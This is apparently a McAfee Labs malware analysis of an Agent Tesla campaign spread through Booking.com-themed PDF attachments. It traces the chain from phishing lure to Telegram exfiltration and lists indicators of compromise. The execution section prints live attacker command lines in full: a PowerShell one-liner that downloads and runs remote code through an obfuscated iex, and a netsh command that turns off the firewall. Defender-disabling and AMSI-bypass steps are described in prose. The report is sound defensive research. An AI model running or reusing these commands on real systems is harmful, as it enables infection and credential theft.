Authored by Yashvi Shah and Preksha Saxena
McAfee Labs has recently observed a significant surge in the distribution of prominent malware through PDF files. Malware is not solely sourced from dubious websites or downloads; certain instances of malware may reside within apparently harmless emails, particularly within the PDF file attachments accompanying them. The subsequent trend observed in the past three months through McAfee telemetry pertains to the prevalence of malware distributed through non-portable executable (non-PE) vectors.
Figure 1: Rise in PDF malware
Why PDF?
Upon implementing Microsoft‘s macro-blocking measures for Internet-delivered Office files, threat actors were compelled to devise alternative methods for email malware distribution. The complex structure of PDF files renders them susceptible to exploitation, posing significant challenges in detecting malicious content within. As a commonly employed file format distributed via email attachments in the consumer domain, PDFs represent an enticing avenue for attackers to deceive users into believing they are benign. Exploiting this trust, attackers can readily craft PDF-based malware, often containing payloads hosted on malicious websites. Upon user interaction, such as clicking a link, these PDFs download the hosted payload, exacerbating the risk of infection.
Infection Chain
This emerging infection chain involving, among others, Agent Tesla, initiates from an email containing a PDF attachment, which subsequently facilitates the dissemination of the ultimate payload. In the outdated and unpatched version of Acrobat Reader, PDFs directly execute embedded JavaScript using MSHTA, subsequently launching PowerShell, which facilitates process injection. Conversely, in the latest version of Acrobat Reader, PDFs are unable to execute JavaScript directly. Instead, they redirect to a malicious website, from which the script is downloaded. The subsequent process remains consistent with the previous case. The kill chain for the delivery of Agent Tesla unfolds as follows:
Figure 2: Infection Chain
Initial Access:
Firstly, we shall address the scenario involving the updated version of Acrobat Reader, as it is likely that the majority of users will have this version installed. Typically, these PDF files are disguised under various themes such as invoices featuring a prominent download button, messages prompting immediate action, or buttons designed to redirect users to seemingly benign destinations.
In a recent attack, a file named “Booking.com-1728394029.pdf” was used. It is evidently targeting users under the guise of being affiliated with Booking.com. It displays a prompt stating, “Lettore non è compatibile!”, which translates to “Player is not compatible,” as depicted in the provided Figure below.
Figure 3: Face of PDF attachment
Upon examining the internal structure of the PDF (Figure 4), it was discovered that within one of the seven objects, some hex data and an embedded URL were identified. The URL highlighted in the red box “https://bit[.]ly/newbookingupdates” is a Bitly URL. Attackers use Bitly URLs to hide malicious links, making them harder to detect. This is especially useful in phishing schemes where they trick users into revealing sensitive information. Bitly’s dynamic links allow attackers to change destinations, enhancing their ability to evade detection. Additionally, attackers exploit the trust associated with Bitly to improve the success of their social engineering tactics.
This URL is intended to connect to https://bio0king[.]blogspot[.]com
Figure 4: Embedded data in PDF
The text in yellow highlighted in Figure 4, appears to be in hexadecimal format. Upon converting it to ASCII, the result is as follows:
Figure 5: ASCII Conversion
This is the reason behind the prompt observed in Figure 3, displaying the same alert message upon opening the PDF document.
After clicking “OK,” another prompt appeared from Adobe Player, cautioning about the connection established to the address mentioned in the prompt i.e. “bit.ly”.
Figure 6: Connection to embedded URL
Upon granting permission for redirection, the user is directed to the website “https://bio0king[.]blogspot[.]com”. Thus, an attempt is made to disguise itself as a legitimate Booking.com website. As illustrated in the figure below, Microsoft Defender SmartScreen alerts the user to the harmful nature of this website. Despite the warning, further analysis was conducted by proceeding to the website to observe subsequent actions.
Figure 7: Connection to disguised website
Upon accessing the website, it was observed that a JavaScript file named “Booking.com-1728394029.js” was promptly downloaded. The js file was intentionally named identically to the PDF file in an effort to deceive users into opening it.
Figure 8: Prompt of JS file download
Immediately upon initiating the download, redirection is triggered to the legitimate Booking.com website, aiming to prevent users from detecting any suspicious activity. The downloaded file is stored in the Downloads folder on the user’s system.
Figure 9: JS file downloaded
The content of the JavaScript file is heavily obfuscated. This tactic is commonly employed by attackers to conceal their code, thus complicating analysis efforts and evading detection mechanisms.
Figure 10: JS file content
Execution:
Upon executing the JavaScript, the following process tree was observed:
Figure 11: Process tree
Command line:
- “C:\Windows\System32\WScript.exe” ” C:\Users\admin\Downloads\ Booking.com-1728394029.js”
- “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm htloctmain25.blogspot.com/////////////////////////atom.xml) | . (‘i*x’).replace(‘*’,’e’);Start-Sleep -Seconds 5
- \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
- “C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe” /noconfig /fullpaths @”C:\Users\admin\AppData\Local\Temp\mk2qsd2s.cmdline”
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 “/OUT:C:\Users\admin\AppData\Local\Temp\RES6D2D.tmp” “c:\Users\admin\AppData\Local\Temp\CSC7C83DF075A344945AED4D733783D6D80.TMP”
- “C:\Windows\system32\netsh.exe” advfirewall set allprofiles state off -ErrorAction SilentlyContinue
- “C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe”
- “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm htloctmain25.blogspot.com/////////////////////////atom.xml) | . (‘i*x’).replace(‘*’,’e’);Start-Sleep -Seconds 5
Upon decoding and executing “Booking.com-1728394029.js,” a URL was acquired: “htloctmain25.blogspot.com/////////////////////////atom.xml.”
Using the PowerShell command line, an attempt was made to access the file located at htloctmain25.blogspot.com/////////////////////////atom.xml, followed by executing the file using Invoke-Expression (iex). In this instance, the attackers attempted to obfuscate the Invoke-Expression (iex) command by using the replace command within the PowerShell command line. As illustrated in the command line, a sleep command was implemented, pausing execution for 5 seconds. Subsequent stages of the infection proceeded after this interval.
The file hosted at http://htloctmain25.blogspot.com/////////////////////////atom.xml is named atom.ps1, measuring approximately 5.5 MB in size. The figure below depicts the content of the file:
Figure 12: Content of .ps1 file
Let’s begin deciphering this script shown in Figure 11 with reference:
The Red marked content at the top of the script indicates that it will terminate several specified processes (“RegSvcs”, “mshta”, “wscript”, “msbuild”, “FoxitPDFReader”), presumably with the intention of injecting the final payload into one of these legitimate binaries. Furthermore, the script creates a directory at “C:\ProgramData\MINGALIES” for potential future utilization.
The Blue marked content within the script represents the decryption function, labeled as “asceeeeeeeeeeeeeeee”. This function is subsequently employed to decrypt various variables within the script.
The Green marked content towards the end of the script outlines the implementation of the persistence mechanism and describes the injection process into legitimate executables.
For reference and ease of comprehension, the variables defined in the script have been numbered accordingly. The decryption instructions for these variables are highlighted in Yellow for clarity and emphasis.
Following the sequence of instructions, if any of the specified processes are terminated, the script proceeds to define variables 1 and 2. Subsequently, the decryption loop is defined in the script. After the decryption loop, variable 3, named “Phudigum”, is defined in the script. Following that, the script decrypts variable 3 and executes the obtained decoded data using the Invoke-Expression (IEX) command.
Defense Evasion:
The content of the decoded variable 3 is as follows:
Figure 13: Variable 3 after decryption
The code first bypasses the Microsoft Windows Anti-Malware Scan Interface (AMSI) scanning by setting a specific value and then proceeds to create registry entries for persistence. The script also defines functions for interacting with the system’s memory and sets global error action preferences to silently continue, suppressing any errors. It checks if a type named AMSIReaper exists and if not, defines this type with various declarations for interacting with the Windows kernel32.dll, including functions related to process memory manipulation.
Furthermore, the script executes a series of malicious actions aimed at compromising the security of the system. It begins by adding exclusions for specific file extensions, paths, and processes in Windows Defender, effectively evading detection for these items. Subsequently, it attempts to alter various Windows Defender preferences, such as disabling critical security features like the Intrusion Prevention System, Real-time Monitoring, and Script Scanning, while also adjusting settings related to threat actions and reporting. Furthermore, the script tries to modify registry settings associated with User Account Control (UAC) and disable the Windows Firewall, further weakening the system’s defenses. Lastly, it resets the global error action preference to continue, potentially concealing any errors encountered during execution and ensuring the script’s malicious actions remain undetected. Overall, these actions indicate a concerted effort to compromise the system’s security and potentially enable further malicious activities.
Privilege Escalation:
The subsequent instruction in Figure 11 involves decrypting variable 2, labeled as “bulgumchupitum,” utilizing the decryption function “asceeeeeeeeeeeeeeee.” And the same is executed by Invoke-Expression (IEX) command. Following is the decoded content of variable 2:
Figure 14: Variable 2 after decryption
The content obtained after decrypting variable 2 holds significant importance. The highlighted section in Red does the following:
- Introduces another decryption function specifically tailored for this script, named “kimkarden.”
- Additionally, the variable “muthal,” marked as variable 1 in Figure 11, is utilized within this script rather than in the main .ps1 file.
- Furthermore, another variable is defined, and its content is stored in the variable “pinchs.”
- Finally, the content of both variables, “muthal” and “pinchs,” is decrypted using the decryption function “kimkarden” and stored as byte arrays in data 1 and data 2, marked as 5 and 6, respectively, in Figure 13.
- Data 1 and Data 2 are found to be .NET executables
The next section marked Blue in Figure 13, does the following:
- After a brief sleep, the script loads an assembly using the decoded content, data 1, and executes a command through reflection.
- The script defines a function named ExecuteCommand, which utilizes reflection to dynamically invoke method ‘C’ from a type named ‘A.B’ loaded from an assembly.
- It defines paths to various .NET framework executables (RegSvcs.exe for versions 2.0 and 4.0, and Msbuild.exe for version 3.5).
- It invokes the $invokeMethod with the $nullArray and parameters: the path of .NET framework executables and $data2 (decoded byte array).
Process Injection:
Figure 15: Data 1
Data 1 comprises a .NET DLL file. As previously indicated, the script invokes the method ‘C’ from the type named ‘A.B’. Despite the high level of obfuscation in the file shown in Figure 15, the presence of method ‘C’ can be observed (highlighted in yellow). Additionally, within the script, there is a specific function where the path to framework executables and data are being passed (highlighted within the red box).
Figure 16: Data 1 dll
This DLL is responsible for injecting data2, which is Agent Tesla, as a payload into the Regsvcs.exe process. The following figure shows the configuration of data2. The depicted configuration of data2 disguises it as a legitimate McAfee package file shown in Figure 16. However, it lacks a valid certificate, indicating its fraudulent nature.
Figure 17: Data2
The executable file exhibits a high degree of obfuscation, rendering its content largely unreadable. Numerous methods are present, each bearing meaningless names, a deliberate tactic employed to impede analysis by researchers.
Figure 18: Data2 exe
Discovery:
The attackers have intricately orchestrated the obfuscation process. Each string undergoes decryption through a series of instructions, with specific parameters being passed to obtain the deciphered content. This meticulous approach is designed to add layers of complexity and hinder straightforward analysis. For instance, in Figure 18, through reverse engineering, we can observe how it begins querying the browser for information. The highlighted instruction is the one which after decrypting gives the path of the Opera browser.
Figure 19: Fetching browser information
The following ProcMon logs show all the broswers the malware queried:
Figure 20: Procmon logs of browsers(1)
Figure 21: Procmons logs for browsers(2)
Credential Access:
In addition to this, it steals sensitive information such as browser history, cookies, credentials, SMTP information, session information, and email client data such as Otlook profiles, etc.
Figure 22: Credentials
Exfiltration:
Through debugging the code, we were able to uncover the domain it was utilizing for exfiltration. The following figure shows the URL used for exfiltration:
Figure 23: Domain obtained
The same was evident from Procmon logs shown in the Figure below:
Figure 24: Procmon logs of Connection for exfiltration
The DNS record of IP address 149.154.167.220 belongs to Telegram messenger.
Figure 25: DNS record
AgentTesla leverages Telegram bots for data exfiltration due to several advantageous factors. Firstly, Telegram provides robust end-to-end encryption, ensuring the security of transmitted data. Secondly, the platform offers anonymity for bot creators, enhancing the stealth of malicious activities. Thirdly, Telegram’s user-friendly interface simplifies communication processes for both attackers and their command-and-control infrastructure. Additionally, since Telegram is a widely used messaging platform, traffic to its servers may appear less suspicious compared to other channels, aiding in evading detection. Moreover, Telegram’s infrastructure resilience makes it a reliable option for maintaining communication channels even amidst takedown efforts.
Overall, the combination of security, anonymity, ease of use, stealth, and resilience makes Telegram bots an appealing choice for AgentTesla’s data exfiltration tactics. And to achieve this, it establishes contact with the respective domain associated with the bot and transmits the data, which is then tracked by a specific bot ID.
Figure 26: TelegramBot for exfiltration
In a nutshell, this script was tasked with decoding the payload, retrieving legitimate .NET executable paths, performing process injection to execute the malware, collecting data, and ultimately exfiltrating the acquired information.
Persistence:
Moving forward with atom.ps1 (Figure 11), the next is variable 4, labeled as “koaskodkwllWWW”, and is decrypted using the function “asceeeeeeeeeeeeeeee”. Upon decryption, the content is decoded as follows:
Figure 27: Variable 4 decoded
This script establishes persistence by:
- Creating an HTA script to execute PowerShell commands fetched remotely. The script incorporates JavaScript code that utilizes ActiveX objects to execute commands. Specifically, it creates an instance of WScript.Shell to run a PowerShell command fetched from a remote location (linkcomsexi).
- It registers a scheduled task named “Tnamesexi” utilizing Register-ScheduledTask. The task is set to trigger once at a specific time, calculated by adding a certain number of minutes (mynsexi) to the current time.
- Lastly, it sets a registry value under the current user’s Run key (HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run). This registry value, named “Tnamesexi,” is configured to execute the command schtasks /run /tn $taskName, thereby manually triggering the scheduled task established in the preceding step.
Ultimately, the content highlighted in green in Figure 11 performs the final task. The instructions are as follows:
Figure 28: Persistence instructions
Now, after substituting the values:
- “mynsexi” is set to “213”, indicating that the script will be executed again after 213 minutes.
- “Tnamesexi” is defined as “chromeupdateri”, implying that a Run entry will be created under this name.
- “linkcomsexi” is assigned the value “htljan62024.blogspot.com//////////atom.xml”, suggesting that the atom.ps1 file will be fetched again from this URL.
We inspected registry entries and scheduled task entries for cross-verification. And the script did as directed:
Figure 29: Registry entry for Persistence
Figure 30: Task Scheduler
Figure 31: Procmon logs for persistence
In summary, the script is configured to execute again after 213 minutes, creating a Run entry named “chromeupdateri” and fetching the atom.ps1 file again from “htljan62024.blogspot.com//////////atom.xml”.
Execution with old and unpatched version of Acrobat Reader:
Upon opening the PDF in the old, unpatched version of Acrobat Reader, a prompt immediately appeared indicating the launch of MSHTA along with the entire JavaScript code contained therein. This is depicted in the figure below.
Figure 32: Prompt for embedded javascript
Upon examining the streams of the PDF, we discovered the identical script embedded within the document:
Figure 33: Embedded javascript in PDF
After the launch of MSHTA, an instance of PowerShell is invoked, initiating process injection into Regsvcs.exe and injection of AgentTesla. Consequently, utilizing an old and unpatched version of Acrobat Reader, interaction with the PDF is unnecessary; mere opening of the PDF file results in system infection by the malware.
Summary:
The chain of events initiates with the delivery of a PDF file containing malicious content. Upon opening the PDF, the embedded malicious code triggers the execution of a JavaScript payload, leading to the download and execution of a PowerShell script. This PowerShell script then decrypts and executes a binary, in the form of a .NET DLL file, which injects AgentTesla payload into legitimate processes to evade detection. The malware communicates with command-and-control servers, exfiltrating sensitive data through Telegram bots for stealthy transmission. To ensure persistence, the malware establishes scheduled tasks and registry entries, allowing it to execute periodically and maintain its presence on the infected system. In the old version of Acrobat Reader, opening the PDF triggered the automatic execution of malicious JavaScript, leading to the injection of AgentTesla malware via PowerShell into Regsvcs.exe. Inspection of the PDF streams revealed the embedded script, further confirming the exploitation of vulnerabilities without requiring user interaction. This orchestrated sequence underscores the sophisticated nature of the attack, spanning from initial infection to data exfiltration and persistent infiltration, posing significant challenges for detection and mitigation efforts.
Mitigation:
Avoiding falling victim to email phishing involves adopting a vigilant and cautious approach. Here are some common practices to help prevent falling prey to email phishing:
- Verify Sender Information
- Think Before Clicking Links and Warnings
- Check for Spelling and Grammar Errors
- Be Cautious with Email Content
- Verify Unusual Requests
- Use Email Spam Filters
- Check for Secure HTTP Connections
- Delete Suspicious Emails
- Keep Windows and Security Software Up to date
- Use the latest and patched version of Acrobat reader
Indicators of Compromise (IOCs)
8f8264c173e6d036e87b706dbb87e3036ae17df32e53a683c87bff94fce2c242 | |
Javascript | 3ea81c292f36f2583d2291e8a393014da62767447dba7b139a6c45574647aa2b |
ps1 file | db726e060f4feccf4bdfa843e3c10cbac80509585fd55c6d1bfce5e312a4e429 |
dll | 5b6d8f91201ba9c879e46062190817954e28ceb61a67e55870bb61d1960854ee |
exe | dec2ce698ab8600d96dd3353b5e47d802441c6df18aed1dd6a2b78311369659e |
IPv4 | 149.154.167.220 |
URL | http://htloctmain25.blogspot[.]com/atom.xml |
URL | https://bio0king[.]blogspot[.]com |
Table 1: Indicators of Compromise